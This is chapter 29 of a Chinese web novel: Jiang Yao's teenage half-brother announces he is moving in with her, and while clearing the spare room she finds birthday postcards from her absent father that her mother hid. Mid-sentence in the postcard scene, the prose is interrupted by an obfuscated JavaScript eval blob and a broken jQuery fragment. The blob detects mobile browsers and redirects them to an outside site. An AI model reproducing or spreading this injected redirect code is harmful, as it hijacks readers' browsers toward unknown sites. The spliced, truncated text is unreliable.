第②⑨章


    周四下午，社区活动室，姜瑶正举着手机，对着底下十几个头发花白的“学生”展示，如何用微信视频通话。


    “王大妈，您看，点这个小镜头，对，就这个，然后就接通了。您闺女在外地，以后想她了就点这个，不用等她打电话来。”


    王大妈戴着老花镜，凑近屏幕，手指戳得屏幕啪啪响：“这个？这个？哎哟它怎么不动了？”


    “您戳太使劲了，轻点，轻轻点一下就行。”


    话音未落，姜瑶自己口袋里的手机开始狂震，嗡嗡声连绵不绝，像揣了只发疯的蜜蜂。


    她没管，继续指导王大妈：“对对对，就这样，您看，通了！”


    王大妈的手机屏幕里出现闺女的脸，惊喜地叫了声“妈”，王大妈立刻眉开眼笑，把手机凑到嘴边对着喊：“闺女！我在学这个！这个……这个……”


    姜瑶的手机还在震。


    她掏出来看了一眼，屏幕上跳动着“姜烁”两个字，她按了拒接，塞回口袋。


    五分钟后，手机再次狂震，还是姜烁，再按掉。


    十分钟后，第三次。


    旁边的大爷忍不住了：“小姜啊，是不是有急事啊？”


    姜瑶尴尬地笑笑，掏出手机调成静音，屏幕一亮，未读消息已经攒了五条，全是姜烁发的。


    她点开。


    姜烁：姐，救命啊！


    姜瑶：有屁快放，没屁打死你。


    姜烁：我妈接了个国外的策展项目，要去大半年。


    姜瑶：所以？


    姜烁：我想转学到A市，跟你住。


    姜瑶盯着最后一行字，脑子有一瞬间的短路，手里没攥紧的手机划出一道抛物线，准确无误地落进王大妈泡了枸杞的大陶瓷杯里。


    “噗通。”


    茶水四溅，手机屏幕在浑浊的液体里顽强地闪了两下，彻底黑了。


    王大妈心疼地叫起来：“哎哟我的茶！哎哟小姜你的手机！”


    姜瑶呆若木鸡，看着沉在杯底，宣告阵亡的电子设备，脑海里只剩下一个念头：这小子，莫不是我的克星吧！


    晚上八点，姜瑶翻出来一个老款诺基亚给姜烁回电话。


    手机卡刚插进去，手机短信就叮叮当当地涌进来，全是姜烁的。


    她先是给孙青茹打了电话，了解一下情况，打给姜烁的时候，电话响了一声就被接起来。


    “姐！你怎么不理我，还关机！”


    姜瑶深吸一口气，努力压制住自己想要骂人的冲动，苦口婆心劝：“姜烁，你疯了？A市教育质量哪有B市好？你那学校全国排名前五十，转来A市，你高考怎么办？”


    “我妈都同意了，”电话那头传来少年可怜兮兮的声音，“再说A市有你啊，姐，我想你了。”


    姜瑶噎住。


    这死孩子，什么时候学会打直球了？


    “别肉麻！”她干咳一声，“我可没空管你！我要上班的，还要……”


    “还要谈恋爱？”


    姜瑶的声音像被掐住脖子的鸡，戛然而止：“谁谈恋爱了？我跟谁谈恋爱？！”


    “就那个陆医生啊，”姜烁的语气理所当然，“我妈特意去调查了一下那个陆医生，父母都是医生，在国外，他的日常生活很规律，社交圈子也干净……”


    姜瑶感觉自己的血压正在稳步上升：“你妈怎么知道？！不是，你妈怎么什么都跟你说？！不是，根本就没有情况！他是我的主治医生，懂吗？医生！负责复查的那种！”


    “哦，”姜烁拖长声音，“所以上次你生日，他出现在你酒店房间，也是复查？”


    姜瑶张张嘴，发现自己竟然无法反驳。


    那一晚，确实不是复查，那一晚……她的脸开始发烫，赶紧甩甩头，把乱七八糟的画面甩出去。


    “总之，”她努力把话题拉回来，“你不准来！我不会管你，而且我这个小破屋，就两间卧室，一间我住，一间堆杂物，没地方给你睡。”


    “杂物可以收拾啊，”姜烁说，语气里带着让人想掐死的笃定，“反正机票我已经买了，明晚八点到。”


    姜瑶：“不听不听，王八念经，挂了！”


    “你挂吧，”姜烁说，“挂了我也到。”说完先一步挂断电话。


    姜瑶举着手机，呆站在原地。


    半晌，她仰起头，对天长啸：“姜瑶啊姜瑶，你怎么就摊上这么个弟弟。”


    第二天下午，姜瑶请了半天假，开始收拾堆了十年杂物的次卧。


    门一推开，先是被灰尘扑了一脸。


    旧书，旧衣服，旧家电，塞得满满当当，像一个小型垃圾场。


    她挽起袖子，戴上口罩，开始一箱一箱地往外搬。


    阳光斜射进来，照在尘封已久的物件上。


    她打开一个纸箱，里面是她小时候的奖状，“三好学生”、“优秀少先队员”、“作文比赛二等奖”。


    纸张发黄发脆，边缘卷起。


    又一个箱子，是她的旧玩具。


    一个掉了眼睛的布娃娃，一套积木，几本翻烂的连环画。


    她拿起布娃娃，盯着它看了很久。


    这是妈妈给她买的最后一个玩具，那之后，她就离婚了。


    她把娃娃放回去，盖好箱子。


    最下面的一个纸箱，很小，很旧，封口贴着泛黄的胶带。


    里面是一叠明信片，整整齐齐地码着，每一张都套着透明保护套，姜瑶愣住，她不记得自己有过这种东西。


    拿起最上面一张，正面是世界之窗，翻过来，背面有一行字，笔迹陌生：瑶瑶，生日快乐，落款是爸爸。


    她的手开始发抖。


    第二张，是故宫。


    背面：听说你考了第一，真棒，爸爸为你骄傲。


    第三张，是东方明珠。


    背面：瑶瑶，恭喜你小学毕业。


    第四张，第五张，第六张……每年一张，从未间断。


    每一张都是陌生的城市，每一张都是简单的问候，每一张都有同一个落款：爸爸。


    最后一张，是她十八岁生日那年寄来的。画面是某个海边的日落，背面只有一行字：


    瑶瑶，十八岁生日快乐，对不起缺席你最重要的生日。


    姜瑶抱着明信片，坐在地上，很久很久。


    阳光从她身边移过，墙上的影子从短变长。


    她还是没动，低着头，一张一张地看，一遍一遍地看。


    她从不知道，从未收到，被母亲刻意藏起来的问候，此刻静静地躺在她的手心里，轻得像羽毛，重得像山。


    原来，他不是完全忘记了她。


    原来，那些年，他也在某个地方，偶尔想起她。


    只是这份想起，来得太迟，太轻


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17300088|197445||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，隔着千山万水，隔着母亲的执拗和恨意，隔着整整十年不曾拆封的沉默。


    姜瑶把明信片按原来的顺序理好，套回保护套，装回小纸箱。


    她站起来，拍拍身上的灰，继续收拾房间。


    擦桌子，拖地板，铺床单，给窗户换了新窗帘。


    动作很慢，很认真，几乎是全神贯注。


    傍晚时分，次卧终于有了点样子。


    一张单人床，一张书桌，一把椅子，一盏台灯。


    简单，干净，像个能住人的地方。


    手机响了，是姜烁发来的消息：姐，我登机了，两个小时后见。


    她最后看一眼次卧的样子，抬手关灯，套了件外套，下楼，推着她的小粉电动车，往机场的方向骑去。


    风迎面吹来，吹乱她的头发。


    她眯起眼，看着前方亮起的路灯，心里空了十多年的地方，被轻轻填进了一角。


    没有原谅，也没有释怀。


    那些尘封的明信片，那些从未被听见的问候，还有那个即将到来的，倔强又别扭的少年，让她忽然觉得，有些缺口，或许可以用别的方式，慢慢补上。


    姜瑶骑着小粉电动车刚拐出巷口，突然一个急刹停在路边。


    等等，骑电动车去机场接人？


    她低头看看自己的小粉，又想象一下姜烁接近一米八的大高个儿，抱着行李，蜷在后座上的狼狈画面。


    怎么说呢，是挺想看的。


    但转念一想，毕竟是弟弟，让他在人生地不熟的A市，一下飞机就体验这种社会性死亡级的境遇，是不是有点……太不人道了？


    姜瑶掏出电话，翻出窦主任的电话号码。


    “这么晚打电话，出什么事了？”


    “主任，那个，新能源公务车，晚上方便借一下吗？”


    “借车？去干什么？”


    “接人。”姜瑶老老实实回答，“我弟，从B市过来，今晚八点到机场。”


    “你弟？”窦主任的声音警惕，“哪个弟？你什么时候有弟了？”


    “哎呀正经弟弟，就同父异母的那个，事关隐私，我就不细说了，您到底借不借啊，我打车来回好贵的！”


    “哦，行吧，车在服务站门口停着，钥匙在门卫老张那儿，你去拿吧。”


    “得嘞，谢谢窦主任！”


    “注意安全！别开太快！”


    姜瑶一本正经回答：“是是是，保证完好无损。”


    挂断电话，她忽然又冒出一个念头，要是姜烁看见她骑着小粉来接他，肯定会用看仇人的眼神看她，然后幽幽地来一句：“姐，你就用这个来接我？”


    想想那个画面，姜瑶就有点想笑。


    委屈就对了，最好委屈得当场买票回去，别来了。


    但下一秒，她又想起那些年，有个人也曾在远方想着她，只是一直没有回来。


    但姜烁不一样，他是主动来的，朝着她的方向。


    十六岁，背着书包，拖着行李箱，一个人从B市飞过来，说“姐，我想你了”。


    这种直球，她接不住，但也不能让人一下飞机就蹲在电动车后座上怀疑人生。


    她叹了口气，把粉色小电动锁回老地方，拍拍车座：“对不住啊小粉，今天你休一天，去机场这种高端局，还是让给汽车吧。”


    小粉沉默地亮了一下车灯，像是在翻白眼。